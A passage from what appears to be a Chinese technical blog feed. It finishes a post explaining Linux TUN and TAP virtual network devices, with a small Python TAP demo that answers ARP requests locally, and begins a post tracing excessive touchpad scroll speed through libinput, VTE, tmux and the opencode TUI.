&lt;p&gt;日常 &lt;code&gt;ip link&lt;&#x2F;code&gt; 会看到一堆奇怪的接口——&lt;code&gt;tun0&lt;&#x2F;code&gt;、&lt;code&gt;tap0&lt;&#x2F;code&gt;、&lt;code&gt;tailscale0&lt;&#x2F;code&gt;、&lt;code&gt;docker0&lt;&#x2F;code&gt;、&lt;code&gt;veth&lt;&#x2F;code&gt;。它们不是物理网卡,而是内核虚拟设备。本机(Proxmox 宿主)实测:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;tailscale0: &amp;lt;POINTOPOINT,MULTICAST,NOARP&amp;gt; ...    ← TUN,三层
    inet 100.64.0.3&amp;#x2F;32 scope global tailscale0
tun0: &amp;lt;POINTOPOINT,MULTICAST,NOARP&amp;gt; ...          ← TUN,OpenVPN
    inet 10.8.0.6 peer 10.8.0.5&amp;#x2F;32 scope global tun0
vmbr0: ...                                        ← 网桥,二层
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;TUN 和 TAP 是 Linux 提供的一对&quot;用户空间 ↔ 内核协议栈&quot;的虚拟管道设备:程序打开 &lt;code&gt;&#x2F;dev&#x2F;net&#x2F;tun&lt;&#x2F;code&gt;,通过 read&#x2F;write 收发数据包。区别只在&lt;strong&gt;收发的是什么东西&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tun-yu-tap-de-ji-ben-gai-nian&quot;&gt;TUN 与 TAP 的基本概念&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;TUN&lt;&#x2F;th&gt;&lt;th&gt;TAP&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;工作层级&lt;&#x2F;td&gt;&lt;td&gt;三层(网络层)&lt;&#x2F;td&gt;&lt;td&gt;二层(数据链路层)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;处理的数据&lt;&#x2F;td&gt;&lt;td&gt;IP 数据包&lt;&#x2F;td&gt;&lt;td&gt;以太网帧&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;有 MAC 地址?&lt;&#x2F;td&gt;&lt;td&gt;没有(&lt;code&gt;link&#x2F;none&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;td&gt;有(&lt;code&gt;link&#x2F;ether&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;有 IP 地址?&lt;&#x2F;td&gt;&lt;td&gt;有(手动配置)&lt;&#x2F;td&gt;&lt;td&gt;有(手动配置)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;能加入网桥?&lt;&#x2F;td&gt;&lt;td&gt;不能&lt;&#x2F;td&gt;&lt;td&gt;可以&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;典型应用&lt;&#x2F;td&gt;&lt;td&gt;VPN(OpenVPN、WireGuard、Tailscale&#x2F;Headscale)&lt;&#x2F;td&gt;&lt;td&gt;虚拟机网络(QEMU&#x2F;KVM)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;tun-she-bei-xiang-jie-san-ceng-wu-mac-dian-dui-dian&quot;&gt;TUN 设备详解:三层、无 MAC、点对点&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ji-ben-shu-xing&quot;&gt;基本属性&lt;&#x2F;h2&gt;
&lt;p&gt;TUN 是&lt;strong&gt;三层(网络层)设备&lt;&#x2F;strong&gt;,只处理 IP 包,不涉及以太网帧,因此&lt;strong&gt;没有 MAC 地址&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# TUN 设备 —— link&amp;#x2F;none,没有 MAC
5: tun0: &amp;lt;POINTOPOINT,MULTICAST,NOARP&amp;gt; ...
    link&amp;#x2F;none
# ifconfig 视角:硬件地址全是零
tun0  Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-...
      inet addr:10.8.0.5  P-T-P:10.8.0.5  Mask:255.255.255.0
      UP POINTOPOINT RUNNING NOARP MULTICAST
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wei-shen-me-bu-xu-yao-mac&quot;&gt;为什么不需要 MAC?&lt;&#x2F;h2&gt;
&lt;p&gt;TUN 工作在三层,数据直接以 &lt;strong&gt;IP 包&lt;&#x2F;strong&gt;形式在内核协议栈和用户空间程序之间传递,不经过以太网帧封装,自然不需要 MAC 做二层寻址。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;POINTOPOINT&lt;&#x2F;code&gt;(点对点)标志揭示了它的本质:一条&lt;strong&gt;虚拟点对点链路&lt;&#x2F;strong&gt;——一端是宿主机内核协议栈,另一端是用户空间的 VPN 程序。数据通过这条管道直接传递 IP 包,不存在二层寻址的概念。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;这也是 Tailscale&#x2F;OpenVPN 等 VPN 选择 TUN 的根本原因&lt;&#x2F;strong&gt;:省去 ARP、MAC、广播等二层烦恼,VPN 程序只需专注&quot;路由 IP 包 → 加密 → UDP&#x2F;TCP 发到远端&quot;。本机 &lt;code&gt;tailscale0&lt;&#x2F;code&gt; 就是 TUN,100.64.0.3&#x2F;32 点对点。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tap-she-bei-xiang-jie-er-ceng-bi-xu-you-mac-wei-gei-wang-qiao&quot;&gt;TAP 设备详解:二层、必须&quot;有&quot;MAC、喂给网桥&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chuang-jian-yu-pei-zhi&quot;&gt;创建与配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip tuntap add dev tap0 mode tap user $(whoami)   # user 参数允许普通用户读写
sudo ip link set tap0 up
sudo ip addr add 10.0.0.1&amp;#x2F;24 dev tap0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;mac-di-zhi-de-liang-ge-can-yu-zhe-bi-xu-bu-tong&quot;&gt;MAC 地址的两个&quot;参与者&quot;必须不同&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tap0 自身的 MAC&lt;&#x2F;strong&gt;:创建时内核&lt;strong&gt;随机生成&lt;&#x2F;strong&gt;(常以 &lt;code&gt;fe:&lt;&#x2F;code&gt; 开头),只是占位符,不是虚拟机的 MAC。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;虚拟机网卡的 MAC&lt;&#x2F;strong&gt;:QEMU 打开 tap0 后,在 VM 内部模拟网卡硬件(virtio-net),分配自己的 MAC(常以 &lt;code&gt;52:54:&lt;&#x2F;code&gt; 开头;可用 &lt;code&gt;-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56&lt;&#x2F;code&gt; 固定)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;两者必须不同&lt;&#x2F;strong&gt;,原因在网桥:br0 依靠 MAC 地址表决定帧的转发端口,若 tap0 与 VM 网卡 MAC 相同,网桥将无法判断该 MAC 对应的设备在 tap0 端口侧还是外部物理网络侧,转发混乱。libvirt 的规律:把 VM MAC 首字节改为 &lt;code&gt;0xFE&lt;&#x2F;code&gt; 生成 tap0 的 MAC(如 VM &lt;code&gt;52:54:d7:18:09:2a&lt;&#x2F;code&gt; → tap0 &lt;code&gt;fe:54:d7:18:09:2a&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tap0-de-mac-ji-hu-mei-you-shi-ji-zuo-yong&quot;&gt;tap0 的 MAC 几乎没有实际作用&lt;&#x2F;h2&gt;
&lt;p&gt;回顾数据流:网桥学习的是&lt;strong&gt;帧里的源 MAC&lt;&#x2F;strong&gt;(VM 的),不是 tap0 接口自身的 MAC;帧经过 tap0 时 MAC 不被替换;TAP 设备设了 NOARP,没人 ARP 查询它。&lt;strong&gt;那为什么它还存在?&lt;&#x2F;strong&gt;——Linux 内核 &lt;code&gt;net_device&lt;&#x2F;code&gt; 结构体的硬性要求:任何网络设备都必须有一个 MAC 地址,即使实际用不到。它是&quot;存在即合理&quot;的占位符。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shu-ju-bao-ru-he-lu-you-dao-xu-ni-ji-wang-qiao-de-mac-biao-dong-tai-xue-xi&quot;&gt;数据包如何路由到虚拟机:网桥的 MAC 表动态学习&lt;&#x2F;h2&gt;
&lt;p&gt;数据包路由到 VM 依赖的是网桥 MAC 转发表,由 VM 发出帧的源 MAC &lt;strong&gt;动态学习&lt;&#x2F;strong&gt;建立:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;初始:br0 转发表为空
VM1 发帧(src MAC 52:54:d7:18:09:2a)从 tap0 进入
  → 网桥记录:52:54:d7:18:09:2a → tap0 端口
VM2 发帧(src MAC 52:54:aa:bb:cc:dd)从 tap1 进入
  → 网桥记录:52:54:aa:bb:cc:dd → tap1 端口
回包:外部帧 dst=52:54:d7:18:09:2a
  → 网桥查表 → 从 tap0 端口转发 → QEMU 读帧注入 VM1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shu-ju-bao-jiao-hu-liu-cheng-vm-wai-wang&quot;&gt;数据包交互流程:VM → 外网&lt;&#x2F;h1&gt;
&lt;p&gt;拓扑:VM(eth0 10.0.0.2) ↔ QEMU 进程 ↔ 宿主机 tap0 ↔ 网桥 br0(10.0.0.1) ↔ 物理网卡 eth0 ↔ 外网。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;发送(VM1 → 外网)&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;VM1 应用 → VM1 内核查路由表 → 虚拟网卡 eth0
  → QEMU 进程把帧写入宿主机 tap0
  → 内核发现 tap0 挂在 br0 上,转发到网桥
  → br0 查 MAC 表,目标不在本地 VM → 从物理网卡 eth0 发出
  → (VM 访问外网通常还需宿主机 NAT:iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE)
  → 路由器 → 外网目标
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;接收(外网 → VM1)&lt;&#x2F;strong&gt;:对称反向——物理网卡收帧 → br0 查 MAC 表找到 tap0 端口 → 帧交给 QEMU → 注入 VM 虚拟网卡 → VM 内核协议栈 → 应用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;核心要点&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;TAP 是&lt;strong&gt;桥梁&lt;&#x2F;strong&gt;:一头连内核网桥,一头被 QEMU 持有,负责搬运帧&lt;&#x2F;li&gt;
&lt;li&gt;网桥 br0 是&lt;strong&gt;交换机&lt;&#x2F;strong&gt;:二层按 MAC 决定转发端口&lt;&#x2F;li&gt;
&lt;li&gt;NAT 是&lt;strong&gt;可选的&lt;&#x2F;strong&gt;:VM 要出外网才需要 MASQUERADE&lt;&#x2F;li&gt;
&lt;li&gt;QEMU 是&lt;strong&gt;搬运工&lt;&#x2F;strong&gt;:read&#x2F;write tap0 与 VM 网卡之间持续搬运&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;50-xing-python-jian-yi-vpn-yan-zheng-vpn-ben-zhi&quot;&gt;50 行 Python 简易 VPN:验证&quot;VPN 本质&quot;&lt;&#x2F;h1&gt;
&lt;p&gt;核心逻辑:打开 &lt;code&gt;&#x2F;dev&#x2F;net&#x2F;tun&lt;&#x2F;code&gt; → ioctl 配置为 tap0 → 死循环读包&#x2F;写包。示例程序只处理 ARP 请求,构造假回复声称&quot;10.0.0.2 存在&quot;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import os, struct
from fcntl import ioctl

TUNSETIFF = 0x400454ca
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

def create_tap(ifname):
    tap_fd = os.open(&amp;quot;&amp;#x2F;dev&amp;#x2F;net&amp;#x2F;tun&amp;quot;, os.O_RDWR)
    ifr = struct.pack(&amp;quot;16sH&amp;quot;, ifname.encode(&amp;quot;utf-8&amp;quot;), IFF_TAP | IFF_NO_PI)
    ioctl(tap_fd, TUNSETIFF, ifr)
    return tap_fd

def handle_arp_request(packet, tap_fd):
    host_mac = packet[6:12]          # 提取 ARP 请求源 MAC
    fake_mac = bytes([0x00,0x11,0x22,0x33,0x44,0x55])
    arp_reply = (host_mac + fake_mac + b&amp;#x27;\x08\x06&amp;#x27; + b&amp;#x27;\x00\x01&amp;#x27; + b&amp;#x27;\x08\x00&amp;#x27; +
                 b&amp;#x27;\x06&amp;#x27; + b&amp;#x27;\x04&amp;#x27; + b&amp;#x27;\x00\x02&amp;#x27; + fake_mac +
                 b&amp;#x27;\x0a\x00\x00\x02&amp;#x27; + host_mac + b&amp;#x27;\x0a\x00\x00\x01&amp;#x27;)
    os.write(tap_fd, arp_reply)
    print(&amp;quot;捕获到 ARP 请求,已伪造 10.0.0.2 的回复!&amp;quot;)

def main():
    tap_fd = create_tap(&amp;quot;tap0&amp;quot;)
    print(&amp;quot;启动简易 VPN 程序,正在监听 tap0...&amp;quot;)
    while True:
        packet = os.read(tap_fd, 1514)
        if packet[12:14] == b&amp;#x27;\x08\x06&amp;#x27;:   # ARP
            handle_arp_request(packet, tap_fd)
        else:
            pass                            # 其他包(IP)直接丢弃

if __name__ == &amp;quot;__main__&amp;quot;:
    main()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;运行与现象&lt;&#x2F;strong&gt;:&lt;code&gt;python3 simple_vpn.py&lt;&#x2F;code&gt; + 另一终端 &lt;code&gt;ping 10.0.0.2&lt;&#x2F;code&gt;——先通(ARP 被拦截伪造了假回复),随后 &lt;code&gt;Destination Host Unreachable&lt;&#x2F;code&gt; 或卡住。&lt;strong&gt;为什么卡住&lt;&#x2F;strong&gt;:ping 拿到假 MAC 后发出 ICMP IP 包,程序在 else 分支直接丢弃——没有完整 TCP&#x2F;IP 协议栈就回不了 ICMP Echo Reply。&lt;&#x2F;p&gt;
&lt;p&gt;这揭示了 &lt;strong&gt;VPN 的本质&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TAP 模式&lt;&#x2F;strong&gt;:读的是完整以太网帧,要实现完整网络功能,程序内部必须实现一套虚拟协议栈(ARP&#x2F;ICMP&#x2F;TCP 握手),或把帧转发到真实物理网络——复杂&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TUN 模式&lt;&#x2F;strong&gt;(Tailscale 用):读的是纯 IP 包(无 MAC 头),省去 ARP 烦恼,VPN 程序只需路由、加密、UDP&#x2F;TCP 传输——简单,这正是 tailscale0 走的路&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;ge-xu-ni-hua-ping-tai-de-tap-tun-guan-li&quot;&gt;各虚拟化平台的 TAP&#x2F;TUN 管理&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;需要手动创建?&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;QEMU&#x2F;KVM 手动配置&lt;&#x2F;td&gt;&lt;td&gt;需要&lt;&#x2F;td&gt;&lt;td&gt;每个 VM 一个 TAP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;libvirt &#x2F; virt-manager&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;libvirt 自动管理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VMware &#x2F; VirtualBox&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;工具内部自动处理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Docker&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;用 veth pair,非 TAP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Tailscale&#x2F;Headscale&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;每节点自动创建自己的 TUN&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;TUN = 三层点对点管道,&lt;strong&gt;无 MAC&lt;&#x2F;strong&gt;,只管 IP 包 → VPN 首选(OpenVPN&#x2F;WireGuard&#x2F;Tailscale)&lt;&#x2F;li&gt;
&lt;li&gt;TAP = 二层以太网管道,&lt;strong&gt;有 MAC&lt;&#x2F;strong&gt;(内核硬性要求,实际是占位符),能进网桥 → 虚拟机网络首选(QEMU&#x2F;KVM)&lt;&#x2F;li&gt;
&lt;li&gt;网桥靠&lt;strong&gt;帧内源 MAC 动态学习&lt;&#x2F;strong&gt;转发表,与 tap0 自身 MAC 无关&lt;&#x2F;li&gt;
&lt;li&gt;&quot;为什么 VPN 不用 TAP&quot;:二层帧需要完整协议栈或桥接转发,三层 TUN 省掉 ARP&#x2F;MAC&#x2F;广播,实现和排障都简单得多&lt;&#x2F;li&gt;
&lt;li&gt;虚拟化为什么不用 TUN:VM 需要完整二层语义(广播&#x2F;ARP&#x2F;交换机行为),TAP + 网桥正是干这个的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>触摸板滚动灵敏度排查：从 tmux 到 opencode 的三层事件链</title>
        <published>2026-08-15T15:25:20+08:00</published>
        <updated>2026-08-15T15:25:20+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/touchpad-scroll-sensitivity-diagnosis/"/>
        <id>https://vercel.juzhong.asia/2026/08/touchpad-scroll-sensitivity-diagnosis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/touchpad-scroll-sensitivity-diagnosis/">&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;外接 2.4G 无线键鼠套装（HS-LP88 - PTP-01-23-1F，VID 1c4f:0086）自带的触摸板（102×51mm 精度触控板），在终端里两指轻轻一动就滚掉半页；浏览器里&quot;还凑合&quot;；普通终端（Ptyxis）里则感觉正常。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;di-yi-ceng-huai-yi-tmux-gun-lun-bu-chang&quot;&gt;第一层怀疑：tmux 滚轮步长&lt;&#x2F;h3&gt;
&lt;p&gt;环境是 GNOME Wayland + Ptyxis + tmux（&lt;code&gt;set -g mouse on&lt;&#x2F;code&gt;）。tmux 默认每格滚轮 = 5 行（&lt;code&gt;send-keys -X -N 5 scroll-up&lt;&#x2F;code&gt;），44 行的 pane 里一个轻扫就 20+ 行，确实像&quot;半页&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;修改 &lt;code&gt;~&#x2F;.tmux.conf&lt;&#x2F;code&gt; 把步长降到 2 行、1 行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;conf&quot; class=&quot;language-conf &quot;&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;bind-key -T copy-mode-vi WheelUpPane   select-pane \; send-keys -X -N 1 scroll-up
bind-key -T copy-mode-vi WheelDownPane select-pane \; send-keys -X -N 1 scroll-down
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但用户反馈&quot;没什么变化&quot;——说明问题不只在 tmux。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-er-ceng-shi-ce-shi-jian-liu-pai-chu-libinput-mutter&quot;&gt;第二层：实测事件流，排除 libinput &#x2F; mutter&lt;&#x2F;h3&gt;
&lt;p&gt;用工具逐层测量（&lt;code&gt;libinput-tools&lt;&#x2F;code&gt;、&lt;code&gt;evtest&lt;&#x2F;code&gt;、&lt;code&gt;wev&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;evtest&lt;&#x2F;code&gt; 看内核原始坐标：轴分辨率 14 units&#x2F;mm，坐标流平滑，无异常&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;libinput debug-events&lt;&#x2F;code&gt; 看 libinput 输出：滑动时&lt;strong&gt;每帧产生 0.38 格&lt;&#x2F;strong&gt;滚轮（设备事件率本就偏高，无线设备报告率低、位置跳变被放大）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;wev&lt;&#x2F;code&gt; 看应用实际收到的 Wayland axis 事件：慢速 2cm 手势 ≈ 60px，快速轻扫 ≈ 260px——&lt;strong&gt;mutter 已经做了正常化&lt;&#x2F;strong&gt;，应用层像素量正常&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;结论：libinput 和 mutter 都不是主要问题（全局 quirk 调 &lt;code&gt;ScrollDistance&lt;&#x2F;code&gt; 会影响所有应用，先排除）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-san-ceng-vte-de-sgr-shi-jian-fang-da&quot;&gt;第三层：VTE 的 SGR 事件放大&lt;&#x2F;h3&gt;
&lt;p&gt;tmux 里用启用鼠标模式的程序统计实际收到的滚轮事件数：一次快速轻扫 ≈ &lt;strong&gt;31 个 SGR 滚轮事件&lt;&#x2F;strong&gt;（260px ÷ 31 ≈ 8px&#x2F;事件 ≈ 半个行高）。&lt;&#x2F;p&gt;
&lt;p&gt;原来 VTE 把平滑滚动&lt;strong&gt;每累计 0.5 行就发一个 SGR 滚轮事件&lt;&#x2F;strong&gt;给全屏应用（正常鼠标滚轮是 1 格&#x2F;3 行，差了 6 倍）。所以：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;触控板 → libinput(hi-res 事件) → mutter(Wayland px, 已正常化)
       → VTE(每 0.5 行发一个 SGR 事件, 放大 ~6 倍)
       → 全屏 TUI(每事件滚 N 行)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;di-si-ceng-zhen-zheng-de-yuan-xiong-opencode-tui&quot;&gt;第四层：真正的元凶——opencode TUI&lt;&#x2F;h3&gt;
&lt;p&gt;用户实际感觉&quot;太灵敏&quot;的终端是 &lt;strong&gt;opencode TUI&lt;&#x2F;strong&gt;。查源码 &lt;code&gt;packages&#x2F;tui&#x2F;src&#x2F;util&#x2F;scroll.ts&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;export function getScrollAcceleration(tuiConfig?: ScrollConfig): ScrollAcceleration {
  if (tuiConfig?.scroll_acceleration?.enabled) {
    return new MacOSScrollAccel()
  }
  if (tuiConfig?.scroll_speed !== undefined) {
    return new CustomSpeedScroll(tuiConfig.scroll_speed)
  }
  return new CustomSpeedScroll(3)   &amp;#x2F;&amp;#x2F; ← 默认每次滚轮事件滚 3 行
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;默认每次滚轮事件 = 3 行&lt;&#x2F;strong&gt;，且不区分慢速&#x2F;快速。一个快速轻扫 = 31 个事件 × 3 行 = 93 行 ≈ 2 页多，所以&quot;随便一动就半页&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;浏览器&quot;凑合&quot;是因为浏览器使用 Wayland 平滑滚动 + 惯性动画（kinetic），对高频小 delta 有缓冲；而 TUI 是逐事件跳行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-wan-lu-yu-cuo-wu-ji-lu&quot;&gt;排查弯路与错误记录&lt;&#x2F;h2&gt;
&lt;p&gt;整个排查过程中犯过的错、被推翻的假设，都值得记下来防止重蹈覆辙：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;错误假设 &#x2F; 失误&lt;&#x2F;th&gt;&lt;th&gt;为什么错&lt;&#x2F;th&gt;&lt;th&gt;如何纠正&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;一开始就锁定 tmux，投入大量时间调 &lt;code&gt;-N 5→2→1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户实际滚动的是 &lt;strong&gt;opencode TUI&lt;&#x2F;strong&gt;，tmux 配置根本不参与那条滚动路径&lt;&#x2F;td&gt;&lt;td&gt;先确认&quot;你说的终端到底是哪个程序&quot;再排查；事后发现 tmux 改动只影响 copy-mode，用户场景里无感&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;怀疑触摸板设备本身有问题（&lt;code&gt;libinput debug-events&lt;&#x2F;code&gt; 显示每帧 0.38 格、VTE 每 0.5 行发一个 SGR 事件，一度以为要写 libinput quirk）&lt;&#x2F;td&gt;&lt;td&gt;原始坐标流（&lt;code&gt;evtest&lt;&#x2F;code&gt;）是平滑的；&lt;code&gt;wev&lt;&#x2F;code&gt; 证明 mutter 已把应用层像素量正常化（慢速 60px &#x2F; 快速 260px），设备不是主因&lt;&#x2F;td&gt;&lt;td&gt;逐层测量事件流（evtest → libinput → wev），把&quot;全局 quirk&quot;方案压到最后一档，避免影响所有应用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;测量 tmux 滚动行数时用 &lt;code&gt;capture-pane&lt;&#x2F;code&gt; 对比&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;capture-pane 抓不到 copy-mode 的滚动视图&lt;&#x2F;strong&gt;，连续两次测出 0 行，误以为用户没滚&lt;&#x2F;td&gt;&lt;td&gt;改用 tmux 内部 &lt;code&gt;copy_cursor_line&lt;&#x2F;code&gt; 做差分测量，才拿到真实滚动量&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;让用户做受控手势时没有先输出指令、等确认就开始倒计时&lt;&#x2F;td&gt;&lt;td&gt;用户看到消息时测量窗口已过，测试数据无效&lt;&#x2F;td&gt;&lt;td&gt;改为&quot;我输出指令 → 用户确认 → 开始测量&quot;的节奏&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;没意识到 Wayland 滚轮事件发给&lt;strong&gt;指针所在窗口&lt;&#x2F;strong&gt;而非活动窗口&lt;&#x2F;td&gt;&lt;td&gt;用户把指针放在别的窗口上做手势，测试窗口 0 滚动&lt;&#x2F;td&gt;&lt;td&gt;明确要求&quot;把鼠标指针移到测试窗口中间&quot;再测&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;一度以为 tmux 配置改动&quot;没作用&quot;是配置没生效&lt;&#x2F;td&gt;&lt;td&gt;配置曾被还原回 &lt;code&gt;-N 5&lt;&#x2F;code&gt;；且就算生效，作用域也只是 tmux copy-mode&lt;&#x2F;td&gt;&lt;td&gt;每次改动后 `tmux list-keys -T copy-mode-vi&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;pai-cha-yong-dao-de-ming-ling-qing-dan&quot;&gt;排查用到的命令清单&lt;&#x2F;h2&gt;
&lt;p&gt;按事件链各层整理，附用途和关键输出，方便下次直接复用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;she-bei-shi-bie&quot;&gt;设备识别&lt;&#x2F;h3&gt;
